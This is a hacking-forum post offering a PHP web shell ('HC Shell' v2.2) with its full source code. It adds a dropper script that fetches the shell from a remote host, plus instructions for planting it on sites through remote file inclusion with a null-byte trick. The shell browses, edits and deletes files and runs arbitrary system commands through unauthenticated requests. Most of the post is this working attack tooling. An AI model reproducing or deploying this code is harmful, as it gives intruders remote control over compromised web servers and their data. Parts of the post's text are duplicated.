[HC Official] PHP Shell 04-17-2013, 03:12 PM
#1
Hack Community PHP Shell
Version 2.2
Hello [username].
I have written a PHP shell for the community's own use. The following is the list of features:
- Display Directores
- Create+Edit Files
- Execute commands
Dropper file can be found here:
http://static_cast.home.comcast.net/~sta...ropper.txt
[For those who don't know much about RFI, in order to use nullbye, you must add ? to .txt [ e.g. ?page=http://url.com/dropper.txt? ]
Here are a few screenshots:
![[Image: v2_1.png]](http://s21.postimg.org/gxlgqllo7/v2_1.png)
![[Image: v2_2.png]](http://s12.postimg.org/3xok6mma5/v2_2.png)
![[Image: v2_3.png]](http://s23.postimg.org/w8zcy1eyz/v2_3.png)
Here is the source code for the dropper (http://static_cast.home.comcast.net/~sta...ropper.txt)
And for hc_shell.php:
Version Updates:
Version 2.2:
Fixed dir reset upon deleting file.
Version 2.1:
Put all of the source into one file.
Version 2.0:
Major release, fixed and added features
Below is the older 1.1 version...
Version 2.2
Hello [username].
I have written a PHP shell for the community's own use. The following is the list of features:
- Display Directores
- Create+Edit Files
- Execute commands
Dropper file can be found here:
http://static_cast.home.comcast.net/~sta...ropper.txt
[For those who don't know much about RFI, in order to use nullbye, you must add ? to .txt [ e.g. ?page=http://url.com/dropper.txt? ]
Here are a few screenshots:
![[Image: v2_1.png]](http://s21.postimg.org/gxlgqllo7/v2_1.png)
![[Image: v2_2.png]](http://s12.postimg.org/3xok6mma5/v2_2.png)
![[Image: v2_3.png]](http://s23.postimg.org/w8zcy1eyz/v2_3.png)
Here is the source code for the dropper (http://static_cast.home.comcast.net/~sta...ropper.txt)
Code:
<?php
$shellg = file_get_contents('http://static_cast.home.comcast.net/shell/v2/hc_shell.txt');
mkdir("shell/", 0700);
$shellp = 'shell/hc_shell.php';
file_put_contents($shellp, $shellg);
header("Location: " . $shellp);
?>
And for hc_shell.php:
Code:
<!--PHP FUNCS BELOW-->
<!--PHP FUNCS BELOW-->
<!--PHP FUNCS BELOW-->
<?php
//EDIT BELOW!!
$shell_file = "hc_shell.php";
$style_file = "style.css";
//EDIT ABOVE!!
function ls($directory)
{
if(!$directory)
$directory = '.';
if($handle = opendir($directory))
{
while(false !== ($entry = readdir($handle)))
{
if($entry != $shell_file && $entry != $style_file)
{
if(is_dir($directory . '/' . $entry))
{
if($entry == "." || $entry == "..")
echo "[Delete] <a href='$shell_file?choice=ls&dir=$directory/$entry'>$entry</a><br />";
else
echo "[<a href='$shell_file?choice=rmdir&dir=$directory'>Delete</a>] <a href='$shell_file?choice=ls&dir=$directory/$entry'>$entry</a><br />";
}
else
echo "[<a href='$shell_file?choice=rm&dir=$directory&file=$directory/$entry'>Delete</a>] <a href='$shell_file?choice=read&dir=$directory&file=$directory/$entry'>$entry</a><br />";
}
}
closedir($handle);
}
}
function read($file)
{
$contents = file_get_contents($file);
$contents = str_replace("</textarea>", "<./textarea>", $contents);
$contents = str_replace("<textarea>", "<.textarea>", $contents);
echo $contents . "\n";
}
function save($file, $contents, $delete)
{
if(isset($delete))
rm($file);
else
{
if(file_put_contents($file, $contents))
showMessage("Write success.");
else
showMessage("Write fail.");
}
}
function rmdirectory($dir)
{
$files = glob($dir . '*', GLOB_MARK);
foreach($files as $file)
{
if(substr($file, -1) == '/')
delTree($file);
else
unlink($file);
}
if(rmdir($dir))
showMessage("Delete success.");
else
showMessage("Delete fail.");
}
function rm($file)
{
if(unlink($file))
showMessage("Delete success.");
else
showMessage("Delete fail.");
}
function create($file, $isdir)
{
if($isdir)
{
if(mkdir($file))
showMessage("Create success.");
else
showMessage("Create fail.");
}
else
{
$filestream = fopen($file, 'w');
if($filestream)
showMessage("Create success.");
else
showMessage("Create fail.");
fclose($filestream);
}
}
function execute($command)
{
$output = shell_exec($command);
echo "COMMAND OUTPUT\n--------------\n\n" . $output;
}
function showMessage($message)
{
echo "<script>alert('" . $message . "');</script>";
}
?>
<!--MAIN PHP BELOW-->
<!--MAIN PHP BELOW-->
<!--MAIN PHP BELOW-->
<?php
$shell_file = "hc_shell.php";
$choice = $_GET['choice'];
if($choice == "ls" || $choice == "read" || $choice == "save" || $choice == "rmdir" || $choice == "rm" || $choice == "create" || $choice == "execute")
{
$dir = $_GET['dir'];
$file = $_GET['file'];
$command = $_GET['command'];
if(!$dir)
$dir = '.';
}
if(isset($_POST['save']))
{
$contents = $_POST['contents'];
$delete = $_POST['delete'];
save($file, $contents, $delete);
}
if($choice == "create")
{
if(isset($_GET['is_directory']))
create($file, true);
else
create($file, false);
}
if($choice == "rmdir")
rmdirectory($dir);
else if($choice == "rm")
rm($file);
?>
<!--STYLESHEET BELOW-->
<!--STYLESHEET BELOW-->
<!--STYLESHEET BELOW-->
<style>
body
{
background-image: url('http://i.imgur.com/l9LtNzl.png');
color: white;
}
#contents
{
background-color: #333;
color: white;
width: 60%;
height: 85%;
float: left;
}
#contentsText
{
background-color: #333;
color: white;
width: 100%;
height: 100%;
float: left;
}
#browser
{
background-color: #333;
color: white; width: 40%;
height: 85%;
overflow: scroll;
float: left;
}
a:link {color:#F00;}
a:visited {color:#FF0;}
a:hover {color:#FFF;}
a:active {color:#F80;}
</style>
<!--HTML ##### BELOW-->
<!--HTML ##### BELOW-->
<!--HTML ##### BELOW-->
<html>
<head>
<title>PHP Shell</title>
</head>
<body>
<div style="background-color: black; text-align: center">
<img src="http://static_cast.home.comcast.net/shell/hc_logo.png" alt="PHP Shell" />
</div>
<form id="contents" action="#" method="POST">
<textarea name="contents" id="contentsText"><?php
if($choice == "read" || $choice == "save" || $choice == "create")
read($file);
if($choice == "save")
save($file);
if($choice == "execute")
execute($command);
?></textarea>
<div style="background-color: black; position: relative; width: 100%; z-index: 0; margin-top: -23px; float: left;"> </div>
<span style="position: relative; z-index: 1; margin-top: -23px; float: left"><input type="checkbox" name="delete" />Delete this file</span>
<input type="submit" name="save" value="save" style="position: relative; z-index: 1; margin-top: -25px; float: right" />
</form>
<div id="browser">
<div style="margin: 3px;">
<form action="<?php echo $shell_file; ?>" method="GET" style="float: left">
Starting Directory:<br />
<input type="hidden" name="choice" value="ls" />
<input name="dir" value="." />
<input type="submit" value="Display" />
</form>
<form action="<?php echo $shell_file; ?>" method="GET">
Create File:<br />
<input type="hidden" name="choice" value="create" />
<input type="hidden" name="dir" value="<?php echo $dir; ?>" />
<input name="file" value="file.txt" />
<input type="submit" value="Create" /><br />
<input type="checkbox" name="is_directory" />Directory
</form>
<form action="<?php echo $shell_file; ?>" method="GET" style="clear: left">
Execute Command:<br />
<input type="hidden" name="choice" value="execute" />
<input type="hidden" name="dir" value="<?php echo $dir; ?>" />
<input name="command" />
<input type="submit" value="Execute" />
</form>
<hr />
<?php
if($choice == "ls" || $choice == "read" || $choice == "save" || $choice == "rmdir" || $choice == "rm" || $choice == "create" || $choice == "execute")
ls($dir);
?>
</div>
</div>
</body>
</html>
Version Updates:
Version 2.2:
Fixed dir reset upon deleting file.
Version 2.1:
Put all of the source into one file.
Version 2.0:
Major release, fixed and added features
Below is the older 1.1 version...
Spoiler:
Apparently to the media, the best hacking tool around is a magnifying glass to the monitor. Ooh, pretty colors.
![Biggrin Biggrin](https://sinister.ly/images/smilies/set/biggrin.png)